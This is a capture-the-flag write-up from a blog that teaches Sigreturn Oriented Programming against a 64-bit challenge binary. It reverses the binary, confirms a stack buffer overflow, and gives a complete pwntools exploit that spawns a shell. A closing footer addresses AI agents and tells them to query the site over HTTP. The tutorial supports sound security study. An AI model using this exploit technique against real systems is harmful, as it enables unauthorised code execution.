# Sigreturn Oriented Programming

[Download the challenge binary here.](https://github.com/0xroman1/CTFCHALLS/raw/main/small_boi)

## Section One - Enumeration

Running the **file** command shows that the challenge is a 64-bit elf executable.

![64 Bit Executable](https://i.imgur.com/Objg3aG.png)

Using the radare2 suite to check the strings within the binary. It becomes apparent the string **"/bin/sh"** is present within the read only data section.

![/bin/sh in read only data section](https://i.imgur.com/AR4F2BT.png)

Checking the memory protections of the binary shows the only exploit mitigation in place is Data Execution Prevention.

![Data execution prevention enabled](https://i.imgur.com/dwwV0kp.png)

## Section Two - Reverse Engineering

#### The Vulnerability

The program is taking the address of `RBP-0x20` and then stores it within the RSI register. This means the allocated space for the buffer is 0x20 or *32 in decimal*.

1. The syscall number for SYS\_READ is stored in the RAX register.
2. The file descriptor is set to STDIN within the RDI register.
3. Defines the amount of bytes the SYS\_READ syscall will read.

**Due to the amount of bytes read being greater than the allocated space the application suffers from a Buffer Overflow vulnerability.**

![The Vulnerability](https://i.imgur.com/nETCq5L.png)

To confirm the vulnerability, the program was given 16 bytes more than allocated on the stack, causing the first 8 bytes to overwrite the stack frame's stored RBP whereas the last 8 bytes overwrite the stack frame's Return Address.

![Overwriting return address](https://i.imgur.com/WNYzpX6.png)

## Section Three - Exploitation

Before diving further in, there are a few restrictions this binary presents.

* Data Execution Prevention is enabled, thus we cannot return to something such as shellcode.&#x20;
* Neither is regular Return Oriented Programming a valid method of exploitation due to the lack of control over the RDI Register which is needed for the first argument of a syscall.

![Lack of ROP Gadgets](https://i.imgur.com/PNDj0Nz.png)

However, the binary does include a "POP RAX" gadget as well as the "syscall" instruction. To conclude the conditions met.

1. A very large overflow with no shortage of space.
2. Control over the RAX register which allows the specification of a syscall number.
3. Access to a syscall instruction.
4. The string "/bin/sh" is present within the binary.
5. Control over the Stack Frame's saved return address; this translates to control over the stack itself.

The combination of the conditions above allows implementation of **Sigreturn Oriented Programming**.

![Control Over EAX](https://i.imgur.com/Lxw0a1l.png)

![Syscall Instruction](https://i.imgur.com/8intqN5.png)

Before performing the sigreturn syscall, the following **Signal Frame** needs to be present on the stack.

![Signal Frame Layout](https://i.imgur.com/DdpKrY5.png)

## Section Four - Exploit Development

> **The first step of exploitation is to redirect the binary into performing a SYS\_SIGRETURN syscall, then to return into a curated signal frame which results in a shell.**
>
> In order accomplish this initial syscall, the following must take place:
>
> 1. Provide enough input to have the following bytes overwrite the return address which redirects code execution.
> 2. POP the currently stored value out of the EAX register to prepare for a value to be given.
> 3. Assign the Syscall number for SYS\_Sigreturn to EAX register.
> 4. Use the syscall instruction to perform the SYS\_Sigreturn Syscall.

```python
pwn = b"A" * 40         # padding to overwrite return addr
pwn += p64(0x40018a)    # pop rax
pwn += p64(0xf)         # assign sigreturn syscall number to rax
pwn += p64(0x400185)    # syscall instruction
```

> Using the pwntools library, generating a Sigreturn Frame resulting in a shell is relatively straightforward. To begin, specifying the Architecture is necessary. This can be accomplished with.

```python
frame = SigreturnFrame(kernel="amd64")
```

> Using the following code the registers can be assigned values to prepare the registers for an SYS\_EXECVE syscall.

```python
# Syscall Number
frame.rax = 0x3B        # Syscall Number for SYS_EXECVE

# All arguments for execve syscall
frame.rdi = 0x004001ca  # Pointer to "/bin/sh" string in .rodata
frame.rsi = 0           # Null Pointer
frame.rdx = 0           # Null Pointer

# Address of Syscall Instruction
frame.rip = 0x400185
```

> The previous code snippets combined result in the following completed exploit.&#x20;

```python
 #!/usr/bin/env python3
from pwn import *
import sys

#-------------------------------
#-+-+-+ Twitter @0xRoman1 +-+-+-
#-------------------------------

#==============================================================

#context.log_level = "debug"
elf = context.binary = ELF("small_boi")
libc = elf.libc
env = {}

gs = '''
continue
'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs, env=env)
    elif args.REMOTE:
        return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process(elf.path, env=env)


io = start()

#==============================================================

# Syscall number for Sigreturn = 0xf

pwn = b"A" * 40           # padding to overwrite return addr
pwn += p64(0x40018a)      # pop rax
pwn += p64(0xf)           # assign sigreturn syscall number to rax
pwn += p64(0x400185)      # syscall instruction

frame = SigreturnFrame(kernel="amd64")

# Syscall Number
frame.rax = 0x3B          # Syscall Number for SYS_EXECVE

# All arguments for execve syscall
frame.rdi = 0x004001ca    # Pointer to "/bin/sh" string in .rodata
frame.rsi = 0             # Null Pointer
frame.rdx = 0             # Null Pointer

# Address of Syscall Instruction
frame.rip = 0x400185

pwn += bytes(frame)

#==============================================================
# =-=-=- EXPLOITATION -=-=-=

io.sendline(pwn)
io.interactive()

#==============================================================
```

## Section Five - Profit

![](/files/-MTheguD7ufQPJVBHV4W)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://roman1.gitbook.io/blog/stack-exploitation/srop.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
